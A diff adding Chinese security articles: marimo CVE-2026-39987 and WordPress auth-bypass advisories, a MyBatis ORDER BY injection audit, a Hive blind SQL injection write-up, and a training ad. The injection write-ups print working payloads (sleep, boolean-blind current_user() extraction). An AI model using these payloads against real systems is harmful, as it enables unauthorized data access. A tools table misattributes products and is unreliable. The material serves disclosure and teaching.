Marimo 用户立即升级到 0.23.0 版本，同时监控指向 ‘/terminal/ws’ 的 WebSocket 连接，通过防火墙限制外部访问，并更改所有已泄露的密钥。如无法升级，则可通过完全拦截或禁用 “/terminal/ws” 端点的方式，有效缓解该漏洞。 + + + 开源 +卫士试用地址： +https://oss.qianxin.com/#/login + + 代码卫士试用地址：https://sast.qianxin.com/#/login + + + + + + + + + +**推荐阅读** + +[开源平台 Flowise 中的满分 RCE 漏洞已遭在野利用](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525680&idx=1&sn=5dbab9da81c7d42eda6c2082c7f2ac03&scene=21#wechat_redirect) + + +[开源项目mcp-remote 中存在严重漏洞可导致RCE](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523555&idx=2&sn=04a84283c9d2100a95736c652525dcd8&scene=21#wechat_redirect) + + +[开源客户端qBittorrent 修复已存在14年的RCE漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521357&idx=2&sn=dc9695c878770ba5390c627bc3e3681a&scene=21#wechat_redirect) + + +[开源库 libcue 中存在内存损坏漏洞，Linux 系统易遭RCE攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247517824&idx=1&sn=6df44200db86a65be854d61f6381c0d1&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/ + + +题图：Pixa +bay Licens +e + + +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") +![]( "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/2026-04/MyBatis框架SQL注入漏洞深度剖析.md b/doc/2026-04/MyBatis框架SQL注入漏洞深度剖析.md new file mode 100644 index 00000000..8cbc0a59 --- /dev/null +++ b/doc/2026-04/MyBatis框架SQL注入漏洞深度剖析.md @@ -0,0 +1,92 @@ +# MyBatis框架SQL注入漏洞深度剖析 + 船山信安 2026-04-13 10:10 + +# MyBatis框架SQL注入漏洞深度剖析：从原理到实战 +## 前言 + +最近在审计一个CMS系统时，遇到了一个典型的MyBatis注入问题，整理一下分享出来。这个漏洞出在fastcms v0.1.5的后台功能中，问题点很经典，值得拿出来说道说道。 +## 知识点梳理 +### 1. MyBatis + +MyBatis这玩意儿，说白了就是帮你少写JDBC代码的封装层。它支持XML和注解两种方式配置SQL语句，最后把执行结果映射成Java对象。用过的人都知道，配置文件一般扔在resources目录下。 + +重点来了：**每个mapper都有namespace属性** +，用来防止多个mapper冲突，而且这玩意儿不能重复。id是查询方法的唯一标识，resultType指定返回值类型。 + +![](https://mmbiz.qpic.cn/mmbiz_png/dscLuiaicVquPaYIpVBj0xXaLjEPibib5R4RPJZicAJicEZ30XS5xb2wBKTk8w85WQ8EUeibu1iapIyKDXjNqhK2QNia77QcOpria3icq0HFGy2cM7iammg/640?wx_fmt=png&from=appmsg "") + +### 2. #{} 和 ${} 的区别——这是核心 + +这两个符号决定了SQL拼接方式： +``` +// #{} 预编译处理，参数化查询，安全SELECT * FROM user WHERE id = #{userId}// ${} 直接字符串替换，危险！SELECT * FROM user ORDER BY ${columnName} +``` + +#{} +会被MyBatis预编译成参数化语句，参数会被当作值处理，不会拼接进SQL语句。而${} +是直接字符串替换，你传啥它就往SQL里填啥。 + +**为什么order by必须用${}？** + +因为order by后面跟的是列名，不是值。你试试ORDER BY #{column} +，MyBatis会给你包上引号，变成ORDER BY 'id' +，直接报语法错误。开发者为了省事，直接用${} +拼接，这口子就这么开了。 + +### 3. 代码审计思路 + +审计MyBatis注入的标准操作： +``` +1. 全局搜索 ${ 在XML文件里2. 找到对应的Mapper接口3. 追踪调用链，看参数是否可控4. 寻找API路径，构建测试Payload +``` + +就这么几步，简单粗暴但有效。 +## 漏洞复现过程 +### 第一步：定位问题点 + +在ArticleCommentMapper.xml里发现了这个： +``` +    SELECT * FROM article_comment     ORDER BY ${sortField} ${sortOrder} +``` + +sortField和sortOrder两个参数直接拼接进SQL，完全没有过滤。 +### 第二步：追踪调用链 + +先看ArticleController里的调用： +``` +@GetMapping("/comment/page")public Result> page(    @RequestParam(defaultValue = "1") Integer current,    @RequestParam(defaultValue = "10") Integer size,    @RequestParam(required = false) String sortField,    @RequestParam(required = false) String sortOrder) {        // 使用QueryWrapper构建，安全    QueryWrapper wrapper = new QueryWrapper<>();    wrapper.orderBy(true, true, sortField);    return Result.success(commentService.page(new Page<>(current, size), wrapper));} +``` + +第一处调用用了QueryWrapper，没问题。继续往下追。 +### 第三步：找到真正的问题 + +在另一个Service方法里： +``` +public IPage pageArticleComment(Integer current, Integer size,     String sortField, String sortOrder) {        IPage page = new Page<>(current, size);    LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>();        // 这里是关键——直接拼进XML里的${}    wrapper.last("ORDER BY " + sortField + " " + sortOrder);        return this.page(page, wrapper);} +``` + +参数直接传进去了，完美。 +### 第四步：构造Payload +``` +# 正常的排序sortField=create_time&sortOrder=desc# 注入测试——利用sleep延时判断sortField=IF(1=1,sleep(3),create_time)&sortOrder=desc# 更狠的，直接union注入sortField=id AND (SELECT COUNT(*) FROM admin)>0&sortOrder=desc +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/dscLuiaicVquMbaQTDX9DkGwHxbnVZH5nOdfUPJtsODaDXvqv2E1ZmqNmtQuOria0sUGhJt5S73T34HFA4dATEw3Hic3hAGJbEn8a23r6uejVs4/640?wx_fmt=png&from=appmsg "") +## + + +## 总结 + +这个漏洞的根因很明确：**开发者在order by场景下为了省事，直接用${}拼接用户输入** +。正确的做法是维护一个白名单字段列表，只允许预定义的字段进行排序。 +## 附：5个AI逆向工具推荐 + +审计过程中我也试了试AI辅助工具，说几个实际用过的： + +
工具
特点
适用场景
Semgrep
静态分析神器，支持自定义规则
批量扫MyBatis配置文件
CodeQL
GitHub亲儿子，查询语言强大
复杂代码逻辑分析
SonarQube
集成度高，支持多语言
项目整体安全评估
Sematic
新出的AI驱动代码审查
快速定位可疑代码片段
DeepCode
字节系产品，AI学习能力强
代码漏洞预测
+ +参考博客链接: https://www.cnblogs.com/wanganzgj/p/19642586 + +本文仅供学习交流，请勿用于非法用途。 + + diff --git a/doc/2026-04/“下一代Python笔记本”marimo曝高危漏洞：无需密码，连上WebSocket即可远程控制服务器 (CVE-2026-39987).md b/doc/2026-04/“下一代Python笔记本”marimo曝高危漏洞：无需密码，连上WebSocket即可远程控制服务器 (CVE-2026-39987).md new file mode 100644 index 00000000..a0af8768 --- /dev/null +++ b/doc/2026-04/“下一代Python笔记本”marimo曝高危漏洞：无需密码，连上WebSocket即可远程控制服务器 (CVE-2026-39987).md @@ -0,0 +1,113 @@ +# “下一代Python笔记本”marimo曝高危漏洞：无需密码，连上WebSocket即可远程控制服务器 (CVE-2026-39987) +原创 360漏洞研究院 + 360漏洞研究院 360漏洞研究院 2026-04-13 10:48 + +“扫描下方二维码，进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与！” + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/5nNKGRl7pFgrNicMticDTWVCUWbOwRuWcrYSpAlwDRibKNLbe3KialEfR0Y2PlPAvS4MN50asXETicAviaRy1gRicI2Dw/640?wx_fmt=gif&from=appmsg "") + + +marimo 框架曝出 WebSocket 认证绕过高危漏洞（CVE-2026-39987，CVSS 9.3），攻击者无需任何凭据，仅需连接特定 WebSocket 端点即可直接获取服务器 PTY Shell 权限，实现远程代码执行。 + + +目前 360 漏洞研究院已成功复现该漏洞并验证了危害。本文包含完整影响范围、修复方案、技术原理与复现细节，建议用户立即升级。 + + +

漏洞概述

漏洞名称

marimo Terminal WebSocket认证绕过远程代码执行漏洞

漏洞编号

CVE-2026-39987

公开时间

2026-04-09

POC状态

已公开

漏洞类型

认证绕过

EXP状态

已公开

利用可能性

高

技术细节状态

已公开

CVSS 4.0

9.3

在野利用状态

未发现

+ + +**01** + +**漏洞影响范围** + + + +受影响的软件版本： + +marimo <= 0.20.4 + + +**02** + +**修复建议** + + + +**正式防护方案** + +建议用户立即升级至官方发布的最新版本（>= **0.23.0** +） + + +**03** + +**漏洞描述** + + + +近日，安全研究人员披露了 marimo 框架中存在一个严重的预认证远程代码执行漏洞，编号为CVE-2026-39987。该漏洞允许未授权的远程攻击者通过绕过身份验证机制，直接获取服务器端的完整 PTY（伪终端）Shell 权限，从而执行任意系统命令。 + + +经分析，漏洞根源在于 marimo/_server/api/endpoints/terminal.py 文件中的 /terminal/ws WebSocket 端点实现缺陷。与正确实施了 validate_auth() 认证检查的其他端点（如 /ws）不同，该终端端点仅检查运行模式和平台支持情况，完全跳过了身份验证环节。由于 marimo 使用的 Starlette 认证中间件在 WebSocket 连接建立阶段不会主动拒绝未认证连接，而是依赖端点级别的装饰器或显式调用，导致攻击者可在无需任何令牌或用户交互的情况下建立连接并触发 pty.fork() 创建子进程。值得注意的是，Windows 环境不受该漏洞影响，因为 supports_terminal() 会预先判断系统是否支持 pty 库，若不支持则直接拒绝连接。 + + +**04** + +**漏洞复现** + + + +360漏洞研究院已成功复现marimo Terminal WebSocket认证绕过远程代码执行漏洞。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dZ7ia5iaWFzziccNDRExqu1iaWPn6vyNM6dSuyx4tASlHaMIs0DGSJxoTE7ib6oVPTtjdOoByic3TgFHUuWIUFLQWSTLIf9PQmQpSeGb9cDY8l72U/640?wx_fmt=png&from=appmsg "") + +CVE-2026-39987 + +marimo Terminal WebSocket认证绕过远程代码执行漏洞复现 + + +**05** + +**时间线** + + + +2026年04月13日，360漏洞研究院发布本安全风险通告。 + + +**06** + +参考链接 + + + +https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc + +https://www.cve.org/CVERecord?id=CVE-2026-39987 + + +07 + +更多漏洞情报 + + + +建议您订阅360数字安全-漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。 + + +邮箱：360VRI@360.cn + +网址：https://vi.loudongyun.360.net + + + +“洞”悉网络威胁，守护数字安全 + + +**关于我们** + + +360 漏洞研究院，隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。 + diff --git a/doc/2026-04/关键的WordPress插件漏洞让攻击者绕过认证并获得管理员访问权限.md b/doc/2026-04/关键的WordPress插件漏洞让攻击者绕过认证并获得管理员访问权限.md new file mode 100644 index 00000000..c62e7ce0 --- /dev/null +++ b/doc/2026-04/关键的WordPress插件漏洞让攻击者绕过认证并获得管理员访问权限.md @@ -0,0 +1,49 @@ +# 关键的WordPress插件漏洞让攻击者绕过认证并获得管理员访问权限 +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-04-13 11:08 + +一个广泛使用的WordPress插件中发现的一个关键安全漏洞，正让全球数千个网站面临严重风险。 + +该漏洞编号为CVE-2026-1492，影响WordPress的用户注册与会员插件，使攻击者能够完全绕过登录流程，获得完整的管理员权限——无需用户名、密码或任何现有账户。 + +该漏洞于2026年3月3日发布，CVSS v4.0评分为9.8，属于严重严重性类别。它影响了所有版本的用户注册与会员插件，直到5.1.2版本。 + +根本原因是用户控制输入的验证不当，加上插件后端处理逻辑中授权检查较弱。 + +该攻击无需特殊权限，无需用户交互，且可通过互联网远程实施。 + +CYFIRMA研究人员发现并分析了CVE-2026-1492，指出漏洞主要集中在插件在对外前端与内部后端之间如何处理信任。 + +此外，CVE-2026-1492被标记为“危急”严重性，CVSS评分为9.8。 + +该插件依赖称为 nonce 的安全令牌，以及基于 AJAX 的工作流程，来处理与成员相关请求。 + +这些令牌嵌入在客户端JavaScript中，存在于公开可见页面上，使任何人都能访问——即使是未登录的用户。 + +通过提取这些值，攻击者可以设计恶意请求，触发特权后端操作，完全绕过认证。 + +成功的攻击后果非常严重。一旦漏洞被利用，攻击者即可立即获得针对的WordPress网站的全部管理控制权。 + +他们可以安装或修改插件，访问并窃取存储的用户数据，篡改网站内容，创建隐藏管理员账户，并植入后门以便持续访问。 + +被攻破的网站也可能被转化为将访客重定向到钓鱼页面或恶意软件传播网站的平台，直接威胁网站用户。 + +地下论坛的活动显示，威胁行为者已经在讨论并分享利用该漏洞的技术。 + +初始访问经纪人可能利用它获得管理员权限，并转售下游犯罪活动的入口，如勒索软件部署、凭证盗窃和SEO垃圾邮件操作。 + +这种积极关注程度证明了威胁是真实存在的，网站管理员的即时关注至关重要。 +## 利用流程内部 + +攻击始于一个受控环境，确认易受攻击的插件已被安装并运行。 + +攻击者在接近目标之前准备好测试环境。随后，将网站后端系统的主入口确定为可公开访问的会员定价页面。 +攻击者利用浏览器的开发者工具查看会员页面上的 JavaScript 代码。这揭示了本不应公开访问的随机数（nonce）值和 AJAX 端点的详细信息。 +有了这些值，精心构造的有效载荷就会被发送到 /wp-admin/admin-ajax.php 端点。后端处理该请求时，不会检查发送者是否经过授权。 +然后服务器会将攻击者登录，并将会话重定向到 WordPress 管理仪表板，而无需使用任何有效的凭证。 + +最重要的行动是立即将用户注册与会员插件更新至 5.1.3 版本，该版本已修复了此漏洞。 +打补丁之后，应审查所有管理员账户，任何未经适当授权创建的账户都必须删除。与可疑账户关联的会话应失效，未知的凭证应立即重置。 +组织还应针对所有用户提供的输入强制执行严格的服务器端验证，尤其是与角色分配相关的值。必须严格控制对诸如 /wp-admin/admin-ajax.php 这类敏感端点的访问，内部安全令牌绝不能在可公开访问的页面中暴露。 +应将最小特权原则应用于所有用户角色，并且必须始终持续监控异常的 AJAX 请求或意外的权限提升情况。 + diff --git a/doc/2026-04/漏洞挖掘 一次数据库是Hive的SQL注入.md b/doc/2026-04/漏洞挖掘 一次数据库是Hive的SQL注入.md new file mode 100644 index 00000000..7c84e4df --- /dev/null +++ b/doc/2026-04/漏洞挖掘 一次数据库是Hive的SQL注入.md @@ -0,0 +1,132 @@ +# 漏洞挖掘 | 一次数据库是Hive的SQL注入 +原创 进击的HACK + 进击的HACK 进击的HACK 2026-04-13 13:04 + +  + +> 字数 613，阅读大约需 4 分钟 + +## 前言 + +最近挖 SRC 的时候，遇到了一个 SQL 注入点。 + +数据库类型是 Hive 的，比较少见。整个过程不难，简单记录，避免下次遇到的时候忘了。 +## 漏洞挖掘 + +注入点比较好找，Payload +``` +' +'' +``` + +然后手动在系统上点点点 +两次不同的 +![c787e6037ed79243f346be68dc2b287a.png](https://mmbiz.qpic.cn/mmbiz_png/oQ0sWhcqsVkB4elxBr6kCgClwBueyia5J0CuFCmqhvhk3748LOUQkPjZtxUxM9Ldalia9qCqicv04hBYNp1dzVCmeKXTIyIW7ibibHnqdj5R3e0s/640?from=appmsg "null") + +c787e6037ed79243f346be68dc2b287a.png + +![9c8138c18c9a4d9758091b6bd439482f.png](https://mmbiz.qpic.cn/mmbiz_png/oQ0sWhcqsVnvRMfByjSzab28bXfczfW582nzBWVfSumViaUZBl1RmJ9FNibAtEiaXRgIiaOXWzhFGDnCA7HSqkASNL6PqI85JyvnOn5z5HwKfIc/640?from=appmsg "null") + +9c8138c18c9a4d9758091b6bd439482f.png + +很明显的注入点，然后开始尝试拿到数据库名字或者当前数据库的用户名，证明该 SQL 注入点的危害。 + +我一开始是当 MySQL 数据库的，updatexml、sleep 通通招呼上去，但是报错提示找不到相关函数。 + +于是，我把注入点的报错信息丢给 AI，问这是什么数据库。 +![a008be098f03e2931b2c35bef7dcc093.png](https://mmbiz.qpic.cn/mmbiz_png/oQ0sWhcqsVmpnDibbLNnpaVfR31VPTHWKLWn2zmLusY32S5TQkEvJ5uO5mria9pA54yVgZsibke9ShjoicHztYmrshcic1CIpZsqh0JW92lFmRD4/640?from=appmsg "null") + +a008be098f03e2931b2c35bef7dcc093.png + +Hive 数据库，没见过，懒得整了，和我的 sqlmap 说去吧 +``` +python sqlmap.py -r test.txt --level 3 --dbms=hive +``` + +然而，sqlmap 不支持 +![508cd2deb1968469421e5b588e9dcb86.png](https://mmbiz.qpic.cn/mmbiz_png/oQ0sWhcqsVnzWk5rSoJ5wqOrnw4nXNTOpu8DUrXwq4xSVcPd8RLwqDLCPPKicWdR5SXbCA9xpeJV4X5DBWt3nt6a61iaZa79icb08fPLHuO3zI/640?from=appmsg "null") + +508cd2deb1968469421e5b588e9dcb86.png + +在 issues 中 sqlmap 中有回复，不会做 Hive +![4d18fef05b683a5c2b89474cac73aa93.png](https://mmbiz.qpic.cn/mmbiz_png/oQ0sWhcqsVn32icHJxdeCUwXfACtlv9z0zywrwj8AudaxthicJaq9xqw7Gq0wIA7KZ4mIByHwLns3tev01xHoVBRyDhHgvZEicOFA4FpPUTTvU/640?from=appmsg "null") + +4d18fef05b683a5c2b89474cac73aa93.png + +只能自己动手了，SQL 语法大差不差。而且现在有了大模型，不用苦兮兮地去翻 Hive 文档了。 +分析参数，在查询接口的 API 下 +``` +?ReportNo=xxxx +``` + +很大可能是在 where 下面 +``` +where ReportNo='xxxxx' +``` + +询问大模型，Hive 有哪些内置函数，哪些函数可以获取用户名 +``` +current_user() +logged_in_user() +…… +``` + +因为开发对 Hive 的进行了限制，sleep 语句和报错注入语句用不了，只能走布尔盲注的路子。 +但是，我找到的这个注入点，里面是空的，布尔值是 true 还是 false，响应包都不会改变。 + +常言道，SQL 注入就像房间里的蟑螂，一处有，别处肯定还有。 + +根据上面的 Payload 在 Burpsuite 插件里配置规则 +用二开的 xia_sql +https://github.com/darkfiv/DouSql + +![665874f41fb4feaf6ae7878db0f90c27.png](https://mmbiz.qpic.cn/sz_mmbiz_png/oQ0sWhcqsVlHeq4D46PkVY0XskR0icWrO7iaWAdrE2gPSyuVHO7XOKtc8KFtxfQSHxeOzjdBNny5a5T5CnK7llYm18cjeicxWXxdFWYiaDaDDHU/640?from=appmsg "null") + +665874f41fb4feaf6ae7878db0f90c27.png + +最终找到了五处存在注入点的，其中一处是有东西的。 + +不过在测试的时候，有一点很奇怪，我一开始是 +``` +?ReportNo=xxxx' and '1'='1 +``` + +按道理来说没区别，但是这么搞，响应内容就是空的 +``` +{"code":0,"msg":"成功","data":[]} +``` + +而换成 +``` +?ReportNo=xxxx' or '1'='1 +``` + +响应里就有内容 + +枚举当前用户名 +``` +?ReportNo=xxxx' or current_user()='aaa +``` + +用字典成功跑出来了。 + +正常来说是先判断长度，二分法判断 +``` +?ReportNo=xxxx' or LENGTH(current_user()) > 0 or '1' = '1 +``` + +逐字符提取 +``` +?ReportNo=xxxx' or SUBSTR(current_user(), 1, 1) = 'a' or '1'='1 +``` +## 总结 + +Hive 数据库的 SQL 注入相较于其他类型的数据库 SQL 注入还是比较小众，算是我第一次遇到。 + +  + + + + + + diff --git a/doc/2026-04/玲珑安全第八期漏洞挖掘培训，不是“教过就行”，而是实打实“带会”.md b/doc/2026-04/玲珑安全第八期漏洞挖掘培训，不是“教过就行”，而是实打实“带会”.md new file mode 100644 index 00000000..fb9c87b4 --- /dev/null +++ b/doc/2026-04/玲珑安全第八期漏洞挖掘培训，不是“教过就行”，而是实打实“带会”.md @@ -0,0 +1,325 @@ +# 玲珑安全第八期漏洞挖掘培训，不是“教过就行”，而是实打实“带会” +玲珑安全 + 玲珑安全 地图大师的漏洞追踪指南 2026-04-13 11:55 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lgu1K9Ehrgdg03vhsFuCooliabwT2VLwDoLdb1YyuTC6rM4zY4w76KZdR22uszLbCLEL25nlicrbNUfuQiciaSJksw/640?from=appmsg "") + + +漏洞是问题，亦是成长的开始。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zmF08GSBtAajArFYSvt6X2jg9Ej1y7rovoCypKVcmvNPNCPKJVKBc4Mf7ZhVItVz0qib2FXPF0dUQ1kqo3OaeKKsHiaTAPAT2cjS460h7BUC8/640?wx_fmt=jpeg "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") + + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +01 + +春风有信，花开有期 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +前言 + +漏洞挖掘的真相从来不是“囤视频、存资料”就能掌握的——D盘里塞遍教程，打开BurpSuite依旧一脸茫然；刷遍全网干货，面对真实目标还是无从下手。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lgu1K9Ehrgdg03vhsFuCooliabwT2VLwDoLdb1YyuTC6rM4zY4w76KZdR22uszLbCLEL25nlicrbNUfuQiciaSJksw/640?from=appmsg "") + + +你和“挖到漏洞”之间，从不是差了几节课程，而是缺了实战陪跑的领路人、卡壳时的精准点拨、步步落地的挖洞路径。 + +这一次，我们想把「带挖」做到极致。从BurpSuite安装的第一步，到你挖出人生第一个高危漏洞，我们全程手把手陪跑，带你真正实现从0到1的漏洞挖掘突破。 + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +02 + +目标明确，步步挖到高危 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +新人学挖洞最易半途而废，核心问题是 没目标、没方向、没反馈 。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lgu1K9Ehrgdg03vhsFuCooliabwT2VLwDoLdb1YyuTC6rM4zY4w76KZdR22uszLbCLEL25nlicrbNUfuQiciaSJksw/640?from=appmsg "") + + +第八我们直接为你划定清晰的实战里程碑，每周定点带挖，直到你拿下高危漏洞，全程不摸鱼、不浅尝辄止。 + +核心实战路径 + +从BurpSuite安装、配置、浏览器代理设置等基础操作起步，阶梯式攻克 公益SRC高危→教育SRC高危→企业SRC高危 ，每一步都有讲师全程指导，挖到对应目标再推进下一阶段，拒绝“学完就忘”。 + +专属带挖机制 +- 每周固定3小时带挖直播（9:00-12:00），专属带挖群实时交流，讲师现场演示挖洞思路、拆解卡点问题； + +- 每次带挖结束后，学员需提交 学习复盘文档，明确挖洞内容、思路及卡点，未提交者将移出带挖群，强制保证学 习效果； + +- 搭配 2小时精讲课程+1小时专属答疑 ，知识点深解+问题即时解决，让每一次学习都有收获。 + +![](https://mmbiz.qpic.cn/mmbiz_png/zmF08GSBtAavBj0fUyNpl0BXrCOYkZXhvs6uUOOrBvkjZQ8R57v2tXc7Ih1cjSTTeIFm1TGbScPuPSKuLMZkGbCLWiaHVIBicSvdxyyQvyiaVw/640?wx_fmt=png&from=appmsg "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +03 + +好靶场3个月高级会员，报名即送 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lgu1K9Ehrgdg03vhsFuCooliabwT2VLwDoLdb1YyuTC6rM4zY4w76KZdR22uszLbCLEL25nlicrbNUfuQiciaSJksw/640?from=appmsg "") + + +想练挖洞却没环境？第八期学员专属福利直接安排。 + +我们与好靶场深度合作， 每位报名学员免费赠送3个月好靶场高级会员 ，练手不愁、实战无忧。 +- 全场景覆盖。从0基础入门到SRC漏洞挖掘，涵盖通用漏洞、CTF等实战环境，无门槛上手； + +- 科学成长体系。独创技能树规划学习路径，无需自己搭建环境，打开即练，贴合真实挖洞场景； + +- 实战驱动。靶场坑点与真实业务一致，练手时踩过的坑，就是实战中能避开的雷。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zmF08GSBtAYAv91hGJNyTWxoKwH02YBeFyL1TiavZGYxlTdp7BkSSwqI5icYHhjLtkJTbzOduZJ8ibdVqgCQlEd6eavk4J9YDwF2hgkmTPkSts/640?wx_fmt=jpeg&from=appmsg "") + +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +04 + +不学套路，只教漏洞底层博弈逻辑 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +很多人学挖洞只记“固定套路”，换个业务场景就失效——因为真正的漏洞挖掘，从来不是记忆操作，而是 推演逻辑 。 + +第八期课程摒弃“套路化教学”，深挖漏洞底层原理，每一节课都是一次完整的攻防推演，教你练就“看见漏洞”的核心能力： +- 讲越权，不止教“改ID”，更拆解参数加密破解、多层校验薄弱点、头部业务越权共性； + +- 讲SSRF，不止教“打内网”，更分析URL校验规则、白名单绕过方法、协议过滤盲区。 + +学会这套逻辑，无论面对何种业务场景，你都能独立分析、找到漏洞，真正掌握挖洞核心能力。 + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +05 + +三大挖洞痛点，一次彻底解决 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +学漏洞挖掘，最怕 练手没环境、卡壳没人问、学完没处用 。第八期培训结合玲珑安全多年实战教学经验，把这三个问题一次性解决，让你学完就能用、能用就能赚。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lgu1K9Ehrgdg03vhsFuCooliabwT2VLwDoLdb1YyuTC6rM4zY4w76KZdR22uszLbCLEL25nlicrbNUfuQiciaSJksw/640?from=appmsg "") + + +「 练手没环境？独家靶场+模拟场景双重保障」 + +除好靶场会员外，我们搭建了 玲珑安全独家模拟靶场 ，并非简单的CVE演示，而是1:1还原真实业务逻辑——订单流转、权限校验、风控拦截全复刻，练手即实战。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lgu1K9Ehrgdg03vhsFuCooliabwT2VLwDoLdb1YyuTC6rM4zY4w76KZdR22uszLbCLEL25nlicrbNUfuQiciaSJksw/640?from=appmsg "") + + +「 卡壳没人问？讲师直联+一对一答疑，随时求助」 + +开通 讲师专属直联通道 ，不再局限于群内等回复，实战中卡关键漏洞、半夜挖洞遇难题，随时能联系讲师获指导；同时配套 一对一作业批改 ，每节课后针对性作业，讲师亲自点评，漏洞遗漏、思路偏差逐一讲清。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lgu1K9Ehrgdg03vhsFuCooliabwT2VLwDoLdb1YyuTC6rM4zY4w76KZdR22uszLbCLEL25nlicrbNUfuQiciaSJksw/640?from=appmsg "") + + +「 学完没处用？专属众测平台，边学边赚真赏金」 + +学成后直接对接 玲珑安全专属众测平台 ，承接真实轻量级私有项目，挖漏洞拿真实赏金，不再是“模拟练手”，而是实打实的技术变现，让你的能力快速转化为收益。 + 